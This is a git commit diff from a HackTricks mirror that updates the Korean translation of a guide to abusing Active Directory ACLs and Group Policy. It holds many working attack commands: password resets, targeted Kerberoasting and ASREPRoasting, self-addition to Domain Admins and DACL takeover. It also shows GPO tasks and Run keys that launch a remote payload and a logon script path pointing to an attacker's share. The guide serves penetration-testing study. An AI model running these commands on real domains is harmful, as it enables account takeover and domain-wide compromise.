mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/dl
This commit is contained in:
parent
d8b78706db
commit
5ea96a84a7
@ -238,7 +238,6 @@
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Abusing Auto Updaters And Ipc](windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
|
@ -1,8 +1,8 @@
|
||||
# Active Directory ACLs/ACEs 악용
|
||||
# Active Directory ACLs/ACEs 남용
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**이 페이지는 주로 다음 기술들의 요약입니다:** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **및** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. 자세한 내용은 원문을 확인하세요.**
|
||||
**이 페이지는 주로 다음 기법들의 요약입니다** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **및** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. 자세한 내용은 원문 기사를 확인하세요.**
|
||||
|
||||
## BadSuccessor
|
||||
|
||||
@ -11,32 +11,47 @@
|
||||
BadSuccessor.md
|
||||
{{#endref}}
|
||||
|
||||
## **GenericAll: 사용자에 대한 권한**
|
||||
## **GenericAll (사용자에 대한 권한)**
|
||||
|
||||
이 권한은 공격자에게 대상 사용자 계정에 대한 전체 제어를 부여합니다. `Get-ObjectAcl` 명령으로 `GenericAll` 권한이 확인되면, 공격자는 다음을 수행할 수 있습니다:
|
||||
이 권한은 공격자에게 대상 사용자 계정에 대한 전체 제어 권한을 부여합니다. `Get-ObjectAcl` 명령으로 `GenericAll` 권한이 확인되면, 공격자는 다음을 수행할 수 있습니다:
|
||||
|
||||
- **대상 계정의 비밀번호 변경**: `net user <username> <password> /domain`을 사용하여 공격자는 사용자의 비밀번호를 재설정할 수 있습니다.
|
||||
- **Targeted Kerberoasting**: 사용자의 계정에 SPN을 할당하여 kerberoastable 상태로 만든 다음, Rubeus 및 targetedKerberoast.py를 사용해 ticket-granting ticket (TGT) 해시를 추출하고 크래킹을 시도합니다.
|
||||
- **대상 계정 비밀번호 변경**: `net user <username> <password> /domain`를 사용하여 공격자는 사용자의 비밀번호를 재설정할 수 있습니다.
|
||||
- Linux에서는 SAMR을 통해 Samba의 `net rpc`로 동일한 작업을 수행할 수 있습니다:
|
||||
```bash
|
||||
# Reset target user's password over SAMR from Linux
|
||||
net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
- **계정이 비활성화된 경우, UAC 플래그를 지우세요**: `GenericAll`은 `userAccountControl`을 편집할 수 있게 합니다. Linux에서 BloodyAD는 `ACCOUNTDISABLE` 플래그를 제거할 수 있습니다:
|
||||
```bash
|
||||
bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
|
||||
```
|
||||
- **Targeted Kerberoasting**: 사용자 계정에 SPN을 할당하여 kerberoastable 상태로 만든 다음, Rubeus와 targetedKerberoast.py를 사용하여 ticket-granting ticket (TGT) hashes를 추출하고 crack을 시도합니다.
|
||||
```bash
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **Targeted ASREPRoasting**: 사용자의 pre-authentication을 비활성화하여 해당 계정이 ASREPRoasting에 취약해지도록 만듭니다.
|
||||
- **Targeted ASREPRoasting**: 사용자에 대해 pre-authentication을 비활성화하여 해당 계정을 ASREPRoasting에 취약하게 만듭니다.
|
||||
```bash
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **GenericAll 권한이 있는 그룹**
|
||||
- **Shadow Credentials / Key Credential Link**: 사용자에 대해 `GenericAll` 권한이 있으면 인증서 기반 자격 증명을 추가하고 비밀번호를 변경하지 않고도 해당 사용자로 인증할 수 있습니다. 참조:
|
||||
|
||||
이 권한은 공격자가 `Domain Admins`와 같은 그룹에 대해 `GenericAll` 권한을 가진 경우 그룹 멤버십을 조작할 수 있게 합니다. 그룹의 distinguished name을 `Get-NetGroup`으로 식별한 후, 공격자는 다음을 수행할 수 있습니다:
|
||||
{{#ref}}
|
||||
shadow-credentials.md
|
||||
{{#endref}}
|
||||
|
||||
- **자신을 Domain Admins 그룹에 추가**: 이는 직접 명령어를 사용하거나 Active Directory 또는 PowerSploit 같은 모듈을 통해 수행할 수 있습니다.
|
||||
## **GenericAll Rights on Group**
|
||||
|
||||
이 권한은 `Domain Admins`와 같은 그룹에 대해 `GenericAll` 권한을 가진 attacker가 그룹 멤버십을 조작할 수 있게 합니다. `Get-NetGroup`으로 그룹의 distinguished name을 식별한 후, attacker는 다음을 수행할 수 있습니다:
|
||||
|
||||
- **Add Themselves to the Domain Admins Group**: 이 작업은 직접 명령을 사용하거나 Active Directory 또는 PowerSploit와 같은 모듈을 사용하여 수행할 수 있습니다.
|
||||
```bash
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
- Linux에서는 BloodyAD를 사용해 해당 그룹에 대해 GenericAll/Write 멤버십을 보유하고 있을 때 임의의 그룹에 자신을 추가할 수 있습니다. 대상 그룹이 “Remote Management Users”에 중첩되어 있다면, 해당 그룹을 존중하는 호스트에서 즉시 WinRM 접근 권한을 얻게 됩니다:
|
||||
- Linux에서 또한 BloodyAD를 활용하여 해당 그룹에 대해 GenericAll/Write 멤버십을 보유하고 있으면 임의의 그룹에 자신을 추가할 수 있습니다. 대상 그룹이 “Remote Management Users”에 중첩되어 있으면, 해당 그룹을 존중하는 호스트에서 즉시 WinRM 액세스를 얻습니다:
|
||||
```bash
|
||||
# Linux tooling example (BloodyAD) to add yourself to a target group
|
||||
bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
|
||||
@ -46,35 +61,35 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
컴퓨터 객체나 사용자 계정에 이러한 권한을 보유하면 다음이 가능합니다:
|
||||
컴퓨터 객체 또는 사용자 계정에 이러한 권한을 보유하면 다음을 수행할 수 있습니다:
|
||||
|
||||
- **Kerberos Resource-based Constrained Delegation**: 컴퓨터 객체를 장악할 수 있습니다.
|
||||
- **Shadow Credentials**: 이 권한을 이용해 Shadow Credentials를 생성하여 컴퓨터나 사용자 계정을 가장할 때 사용할 수 있습니다.
|
||||
- **Kerberos Resource-based Constrained Delegation**: 컴퓨터 객체를 탈취할 수 있습니다.
|
||||
- **Shadow Credentials**: 이 권한을 악용해 shadow credentials를 생성하여 컴퓨터나 사용자 계정을 가장할 수 있습니다.
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
사용자가 특정 그룹(예: `Domain Admins`)의 모든 객체에 대해 `WriteProperty` 권한을 가지고 있다면, 다음을 수행할 수 있습니다:
|
||||
사용자가 특정 그룹(예: `Domain Admins`)의 모든 객체에 대해 `WriteProperty` 권한을 가지고 있으면 다음을 수행할 수 있습니다:
|
||||
|
||||
- **자신을 `Domain Admins` 그룹에 추가**: `net user`와 `Add-NetGroupUser` 명령을 결합하여 달성할 수 있으며, 이 방법은 도메인 내 권한 상승을 허용합니다.
|
||||
- **Add Themselves to the Domain Admins Group**: `net user`와 `Add-NetGroupUser` 명령을 결합해 달성할 수 있으며, 이 방법은 도메인 내에서 privilege escalation을 허용합니다.
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **Self (Self-Membership) on Group**
|
||||
|
||||
이 권한은 공격자가 그룹 멤버십을 직접 조작하는 명령을 통해 자신을 `Domain Admins`와 같은 특정 그룹에 추가할 수 있게 합니다. 다음 명령 시퀀스를 사용하면 자신을 추가할 수 있습니다:
|
||||
이 권한을 통해 공격자는 그룹 구성원을 직접 조작하는 명령어로 자신을 특정 그룹(예: `Domain Admins`)에 추가할 수 있습니다. 다음 명령어 시퀀스를 사용하면 자신을 추가할 수 있습니다:
|
||||
```bash
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty (Self-Membership)**
|
||||
|
||||
유사한 권한으로, 이 권한은 공격자가 해당 그룹에 대해 `WriteProperty` 권한이 있으면 그룹 속성을 수정하여 자신을 직접 그룹에 추가할 수 있게 합니다. 이 권한의 확인 및 실행은 다음과 같이 수행됩니다:
|
||||
유사한 권한으로, 공격자는 해당 그룹에 대해 `WriteProperty` 권한이 있으면 그룹 속성을 수정하여 자신을 직접 그룹에 추가할 수 있습니다. 이 권한의 확인과 실행은 다음을 통해 수행됩니다:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
|
||||
사용자에 대해 `User-Force-Change-Password`의 `ExtendedRight`를 보유하면 현재 비밀번호를 알지 못해도 비밀번호를 재설정할 수 있습니다. 이 권한의 확인 및 악용은 PowerShell 또는 기타 명령줄 도구를 통해 수행할 수 있으며, 대화형 세션과 비대화형 환경용 one-liners를 포함해 사용자의 비밀번호를 재설정할 수 있는 여러 방법을 제공합니다. 명령은 간단한 PowerShell 호출에서 Linux에서 `rpcclient`를 사용하는 것까지 다양하며, 이는 attack vectors의 다양성을 보여줍니다.
|
||||
`User-Force-Change-Password`에 대한 `ExtendedRight` 권한을 보유하면 현재 암호를 알지 못해도 암호를 재설정할 수 있습니다. 이 권한의 확인과 악용은 PowerShell 또는 기타 명령줄 도구를 통해 수행할 수 있으며, 대화형 세션뿐 아니라 비대화형 환경을 위한 한 줄 명령(one-liners) 등 여러 방법으로 사용자의 암호를 재설정할 수 있습니다. 명령은 간단한 PowerShell 호출에서 Linux의 `rpcclient` 사용에 이르기까지 다양하여 공격 벡터의 다재다능함을 보여줍니다.
|
||||
```bash
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
@ -85,23 +100,23 @@ Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureStri
|
||||
rpcclient -U KnownUsername 10.10.10.192
|
||||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **WriteOwner on 그룹**
|
||||
## **WriteOwner on Group**
|
||||
|
||||
공격자가 특정 그룹에 대해 `WriteOwner` 권한을 가지고 있음을 알게 되면, 해당 그룹의 소유권을 자신에게 변경할 수 있습니다. 특히 문제가 되는 그룹이 `Domain Admins`인 경우 소유권 변경을 통해 그룹 속성 및 멤버십을 더 광범위하게 제어할 수 있어 영향이 큽니다. 이 과정은 `Get-ObjectAcl`로 올바른 객체를 식별한 뒤 `Set-DomainObjectOwner`를 사용하여 소유자를 SID 또는 이름으로 변경하는 것을 포함합니다.
|
||||
공격자가 그룹에 대해 `WriteOwner` 권한을 가지고 있다는 것을 알게 되면, 해당 그룹의 소유권을 자신으로 변경할 수 있다. 이는 해당 그룹이 `Domain Admins`인 경우 특히 영향이 크며, 소유권 변경을 통해 그룹 속성과 구성원에 대한 더 광범위한 제어가 가능해진다. 이 과정은 `Get-ObjectAcl`을 통해 올바른 객체를 식별한 다음 `Set-DomainObjectOwner`를 사용해 소유자를 `SID` 또는 이름으로 변경하는 것을 포함한다.
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **GenericWrite on 사용자**
|
||||
## **GenericWrite on User**
|
||||
|
||||
이 권한은 공격자가 사용자 속성을 수정할 수 있게 합니다. 구체적으로 `GenericWrite` 액세스가 있으면 공격자는 사용자의 로그온 스크립트 경로를 변경하여 사용자가 로그인할 때 악성 스크립트를 실행하도록 할 수 있습니다. 이는 `Set-ADObject` 명령을 사용해 대상 사용자의 `scriptpath` 속성을 공격자의 스크립트를 가리키도록 업데이트함으로써 달성됩니다.
|
||||
이 권한은 공격자가 사용자 속성을 수정할 수 있도록 허용합니다. 구체적으로, `GenericWrite` 액세스로 공격자는 사용자의 로그온 스크립트 경로를 변경하여 사용자가 로그온할 때 악성 스크립트를 실행하도록 할 수 있습니다. 이는 `Set-ADObject` 명령을 사용하여 대상 사용자의 `scriptpath` 속성을 공격자의 스크립트를 가리키도록 업데이트함으로써 달성됩니다.
|
||||
```bash
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **GenericWrite on Group
|
||||
## **GenericWrite on Group**
|
||||
|
||||
이 권한을 통해 공격자는 자신이나 다른 사용자를 특정 그룹에 추가하는 등 그룹 멤버십을 조작할 수 있습니다. 이 과정은 자격 증명 객체를 생성하고, 이를 사용해 그룹에서 사용자를 추가하거나 제거한 다음 PowerShell 명령으로 멤버십 변경을 확인하는 절차로 이루어집니다.
|
||||
이 권한을 이용하면 공격자는 그룹 멤버십을 조작할 수 있으며, 예를 들어 자신이나 다른 사용자를 특정 그룹에 추가할 수 있습니다. 이 절차는 자격 증명 객체를 생성하고, 이를 사용해 사용자를 그룹에 추가하거나 제거하며, PowerShell 명령으로 멤버십 변경을 확인하는 과정을 포함합니다.
|
||||
```bash
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
@ -109,9 +124,16 @@ Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'userna
|
||||
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
||||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||
```
|
||||
- Linux에서, Samba `net`은 그룹에 대해 `GenericWrite` 권한을 보유하고 있으면 멤버를 추가/삭제할 수 있습니다 (PowerShell/RSAT를 사용할 수 없을 때 유용):
|
||||
```bash
|
||||
# Add yourself to the target group via SAMR
|
||||
net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
# Verify current members
|
||||
net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
|
||||
AD 객체를 소유하고 해당 객체에 대해 `WriteDACL` 권한을 가지고 있으면 공격자는 자신에게 해당 객체에 대한 `GenericAll` 권한을 부여할 수 있습니다. 이는 ADSI 조작을 통해 이루어지며, 객체에 대한 완전한 제어와 그룹 멤버십을 수정할 수 있는 능력을 허용합니다. 그럼에도 불구하고 Active Directory module의 `Set-Acl` / `Get-Acl` cmdlets를 사용해 이러한 권한을 악용하려 할 때 제약이 존재합니다.
|
||||
AD 객체를 소유하고 `WriteDACL` 권한을 가지고 있으면 공격자는 해당 객체에 대해 스스로 `GenericAll` 권한을 부여할 수 있습니다. 이것은 ADSI 조작을 통해 수행되며, 객체에 대한 완전한 제어와 그룹 멤버십을 수정할 수 있는 능력을 제공합니다. 그럼에도 불구하고 Active Directory 모듈의 `Set-Acl` / `Get-Acl` cmdlets를 사용해 이러한 권한을 악용하려고 할 때에는 제한이 존재합니다.
|
||||
```bash
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
@ -119,66 +141,140 @@ $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityRe
|
||||
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
||||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **도메인에서의 복제 (DCSync)**
|
||||
### WriteDACL/WriteOwner 빠른 탈취 (PowerView)
|
||||
|
||||
The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
사용자 또는 서비스 계정에 대해 `WriteOwner` 및 `WriteDacl` 권한이 있을 때, 기존 password를 알지 못해도 PowerView를 사용해 계정을 완전히 제어하고 password를 재설정할 수 있습니다:
|
||||
```powershell
|
||||
# Load PowerView
|
||||
. .\PowerView.ps1
|
||||
|
||||
## GPO 위임 <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
# Grant yourself full control over the target object (adds GenericAll in the DACL)
|
||||
Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
|
||||
|
||||
### GPO 위임
|
||||
# Set a new password for the target principal
|
||||
$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
|
||||
Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
|
||||
```
|
||||
참고:
|
||||
- `WriteOwner`만 있는 경우 먼저 소유자를 자신으로 변경해야 할 수 있습니다:
|
||||
```powershell
|
||||
Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
|
||||
```
|
||||
- 비밀번호 재설정 후 SMB/LDAP/RDP/WinRM 등 어떤 프로토콜로도 접근이 가능한지 검증하세요.
|
||||
|
||||
Group Policy Objects (GPO)를 관리하도록 권한이 위임되면 심각한 보안 위험이 발생할 수 있습니다. 예를 들어 `offense\spotless` 같은 사용자에게 GPO 관리 권한이 위임되면 **WriteProperty**, **WriteDacl**, 그리고 **WriteOwner** 같은 권한을 가질 수 있습니다. 이러한 권한은 악의적으로 남용될 수 있으며, PowerView를 사용해 다음과 같이 확인할 수 있습니다: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
## **Replication on the Domain (DCSync)**
|
||||
|
||||
### GPO 권한 열거
|
||||
DCSync 공격은 도메인에서 특정 복제 권한을 이용해 도메인 컨트롤러를 흉내 내고 사용자 자격 증명을 포함한 데이터를 동기화합니다. 이 강력한 기법은 `DS-Replication-Get-Changes`와 같은 권한을 필요로 하며, 공격자가 도메인 컨트롤러에 직접 접근하지 않고도 AD 환경에서 민감한 정보를 추출할 수 있게 합니다. [**Learn more about the DCSync attack here.**](../dcsync.md)
|
||||
|
||||
잘못 구성된 GPO를 찾기 위해 PowerSploit의 cmdlet을 연결해서 사용할 수 있습니다. 이를 통해 특정 사용자가 관리 권한을 가진 GPO를 찾아낼 수 있습니다: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
**특정 정책이 적용된 컴퓨터**: 특정 GPO가 적용되는 컴퓨터를 확인할 수 있어 잠재적 영향 범위를 파악하는 데 도움이 됩니다. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
### GPO Delegation
|
||||
|
||||
**특정 컴퓨터에 적용된 정책**: 특정 컴퓨터에 어떤 정책이 적용되었는지 보려면 `Get-DomainGPO` 같은 명령을 사용할 수 있습니다.
|
||||
Group Policy Objects (GPOs) 관리를 위임된 접근은 심각한 보안 위험을 초래할 수 있습니다. 예를 들어 `offense\spotless` 같은 사용자가 GPO 관리 권한을 위임받으면 **WriteProperty**, **WriteDacl**, **WriteOwner** 같은 권한을 가질 수 있습니다. 이러한 권한은 PowerView를 사용하여 식별된 것처럼 악용될 수 있습니다: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**특정 정책이 적용된 OU**: 특정 정책의 영향을 받는 조직 단위(OU)를 식별하려면 `Get-DomainOU`를 사용할 수 있습니다.
|
||||
### Enumerate GPO Permissions
|
||||
|
||||
또한 도구 [**GPOHound**](https://github.com/cogiceo/GPOHound)를 사용해 GPO를 열거하고 문제를 찾을 수 있습니다.
|
||||
GPO가 잘못 구성되어 있는지 식별하려면 PowerSploit의 cmdlets를 연계해서 사용할 수 있습니다. 이를 통해 특정 사용자가 관리 권한을 가진 GPO를 발견할 수 있습니다: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### GPO 악용 - New-GPOImmediateTask
|
||||
**지정된 정책이 적용된 컴퓨터**: 특정 GPO가 적용되는 컴퓨터를 확인하면 잠재적 영향을 이해하는 데 도움이 됩니다. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
잘못 구성된 GPO는 코드 실행에 악용될 수 있습니다. 예를 들어 즉시 실행되는 예약 작업을 생성하여 영향을 받는 시스템의 로컬 관리자 그룹에 사용자를 추가함으로써 권한을 크게 상승시킬 수 있습니다:
|
||||
**특정 컴퓨터에 적용된 정책**: 특정 컴퓨터에 어떤 정책이 적용되었는지 확인하려면 `Get-DomainGPO` 같은 명령을 사용할 수 있습니다.
|
||||
|
||||
**지정된 정책이 적용된 OU**: 특정 정책의 영향을 받는 조직 단위(OU)를 식별하려면 `Get-DomainOU`를 사용할 수 있습니다.
|
||||
|
||||
또한 도구 [**GPOHound**](https://github.com/cogiceo/GPOHound)를 사용하여 GPO를 열거하고 문제를 찾아볼 수 있습니다.
|
||||
|
||||
### Abuse GPO - New-GPOImmediateTask
|
||||
|
||||
잘못 구성된 GPO는 즉시 실행되는 scheduled task를 생성하는 등 코드 실행을 위해 악용될 수 있습니다. 예를 들어 영향을 받는 컴퓨터에서 로컬 Administrators 그룹에 사용자를 추가하면 권한을 크게 상승시킬 수 있습니다:
|
||||
```bash
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy module - Abuse GPO
|
||||
|
||||
GroupPolicy module가 설치되어 있으면 새 GPO를 생성 및 연결하고, 대상 컴퓨터에서 backdoors를 실행하도록 registry 값 같은 설정을 할 수 있습니다. 이 방법은 GPO가 업데이트되고 사용자가 해당 컴퓨터에 로그인해야 실행됩니다:
|
||||
GroupPolicy module이 설치되어 있으면 새로운 GPOs를 생성 및 연결하고, 영향을 받는 컴퓨터에서 backdoors를 실행하도록 registry values와 같은 preferences를 설정할 수 있습니다. 이 방법은 GPO가 업데이트되고 사용자가 컴퓨터에 로그인해야 실행됩니다:
|
||||
```bash
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
```
|
||||
### SharpGPOAbuse - Abuse GPO
|
||||
|
||||
SharpGPOAbuse는 새로운 GPO를 생성할 필요 없이 작업을 추가하거나 설정을 수정하여 기존 GPOs를 악용하는 방법을 제공합니다. 이 도구는 변경을 적용하기 전에 기존 GPOs를 수정하거나 RSAT 도구를 사용해 새 GPO를 생성해야 합니다:
|
||||
SharpGPOAbuse는 새로운 GPOs를 만들 필요 없이 작업을 추가하거나 설정을 수정하여 기존 GPOs를 악용하는 방법을 제공합니다. 이 도구는 변경을 적용하기 전에 기존 GPOs를 수정하거나 RSAT 도구를 사용해 새로운 GPOs를 생성해야 합니다:
|
||||
```bash
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
|
||||
```
|
||||
### 정책 업데이트 강제 적용
|
||||
### 정책 강제 업데이트
|
||||
|
||||
GPO 업데이트는 보통 약 90분마다 발생합니다. 변경 사항 적용 후 이 과정을 빠르게 진행하려면 대상 컴퓨터에서 `gpupdate /force` 명령을 사용해 즉시 정책 업데이트를 강제할 수 있습니다. 이 명령은 다음 자동 업데이트 주기를 기다리지 않고 GPOs에 대한 수정 사항이 적용되도록 합니다.
|
||||
GPO 업데이트는 일반적으로 약 90분마다 발생합니다. 이 프로세스를 빠르게 진행하려면, 특히 변경을 적용한 직후에 대상 컴퓨터에서 `gpupdate /force` 명령을 사용하여 즉시 정책 업데이트를 강제할 수 있습니다. 이 명령은 다음 자동 업데이트 주기를 기다리지 않고 GPOs에 대한 수정 사항이 적용되도록 보장합니다.
|
||||
|
||||
### 내부 작동 방식
|
||||
### 내부 동작
|
||||
|
||||
주어진 GPO의 Scheduled Tasks를 검사하면 `Misconfigured Policy`와 같은 GPO에서 `evilTask`와 같은 작업이 추가된 것을 확인할 수 있습니다. 이러한 작업은 시스템 동작을 변경하거나 권한을 상승시키기 위해 스크립트나 명령줄 도구를 통해 생성됩니다.
|
||||
특정 GPO의 Scheduled Tasks를 검사하면 `Misconfigured Policy`와 같은 경우 `evilTask` 같은 작업이 추가된 것을 확인할 수 있습니다. 이러한 작업은 시스템 동작을 변경하거나 권한을 상승시키려는 스크립트나 명령줄 도구를 통해 생성됩니다.
|
||||
|
||||
`New-GPOImmediateTask`로 생성된 XML 구성 파일에 나타난 작업 구조는 실행될 명령과 트리거를 포함하여 스케줄된 작업의 세부 사항을 개요로 제공합니다. 이 파일은 GPOs 내에서 스케줄된 작업이 정의되고 관리되는 방식을 나타내며, 정책 적용의 일부로 임의의 명령이나 스크립트를 실행하는 방법을 제공합니다.
|
||||
작업의 구조는 `New-GPOImmediateTask`로 생성된 XML 구성 파일에 나타나 있으며, 실행할 명령과 트리거를 포함한 예약 작업의 세부 사항을 설명합니다. 이 파일은 GPOs 내에서 예약된 작업이 어떻게 정의되고 관리되는지를 나타내며, 정책 시행의 일환으로 임의의 명령이나 스크립트를 실행하는 방법을 제공합니다.
|
||||
|
||||
### 사용자 및 그룹
|
||||
### Users and Groups
|
||||
|
||||
GPOs는 또한 대상 시스템에서 사용자 및 그룹 구성원 자격을 조작할 수 있게 합니다. Users and Groups 정책 파일을 직접 편집함으로써 공격자는 로컬 `administrators` 그룹과 같은 권한 그룹에 사용자를 추가할 수 있습니다. 이는 GPO 관리 권한의 위임을 통해 가능하며, 정책 파일을 수정하여 새 사용자를 포함시키거나 그룹 구성원을 변경할 수 있게 합니다.
|
||||
GPOs는 대상 시스템에서 사용자 및 그룹 구성원의 조작도 허용합니다. Users and Groups 정책 파일을 직접 편집함으로써 공격자는 로컬 `administrators` 그룹과 같은 권한이 있는 그룹에 사용자를 추가할 수 있습니다. 이는 GPO 관리 권한의 위임을 통해 가능하며, 정책 파일을 수정하여 새 사용자를 포함하거나 그룹 구성원을 변경할 수 있게 합니다.
|
||||
|
||||
Users and Groups에 대한 XML 구성 파일은 이러한 변경이 어떻게 구현되는지를 설명합니다. 이 파일에 항목을 추가함으로써 특정 사용자에게 영향받는 시스템 전반에 걸쳐 향상된 권한을 부여할 수 있습니다. 이 방법은 GPO 조작을 통한 직접적인 권한 상승 접근법을 제공합니다.
|
||||
